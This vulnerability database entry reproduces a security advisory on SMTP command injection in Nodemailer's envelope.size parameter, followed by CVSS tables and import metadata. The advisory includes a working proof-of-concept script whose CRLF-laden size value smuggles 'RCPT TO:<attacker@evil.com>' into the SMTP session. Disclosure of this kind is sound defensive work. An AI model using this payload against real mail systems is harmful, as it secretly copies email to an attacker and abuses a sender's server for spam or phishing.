Staging Environment: Content and features may be unstable or change without notice.
Search for vulnerabilities
Vulnerability details: VCID-pcax-yssv-6qby
Vulnerability ID VCID-pcax-yssv-6qby
Aliases GHSA-c7w3-x93f-qmm8
Summary Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter ### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.
Status Published
Exploitability None
Weighted Severity None
Risk None
Affected and Fixed Packages Package Details
Weaknesses (3)
No exploits are available.
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Found at https://github.com/nodemailer/nodemailer
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Found at https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Found at https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

No EPSS data available for this vulnerability.

Date Actor Action Source VulnerableCode Version
2026-06-04T16:57:54.891596+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-c7w3-x93f-qmm8/GHSA-c7w3-x93f-qmm8.json 38.6.0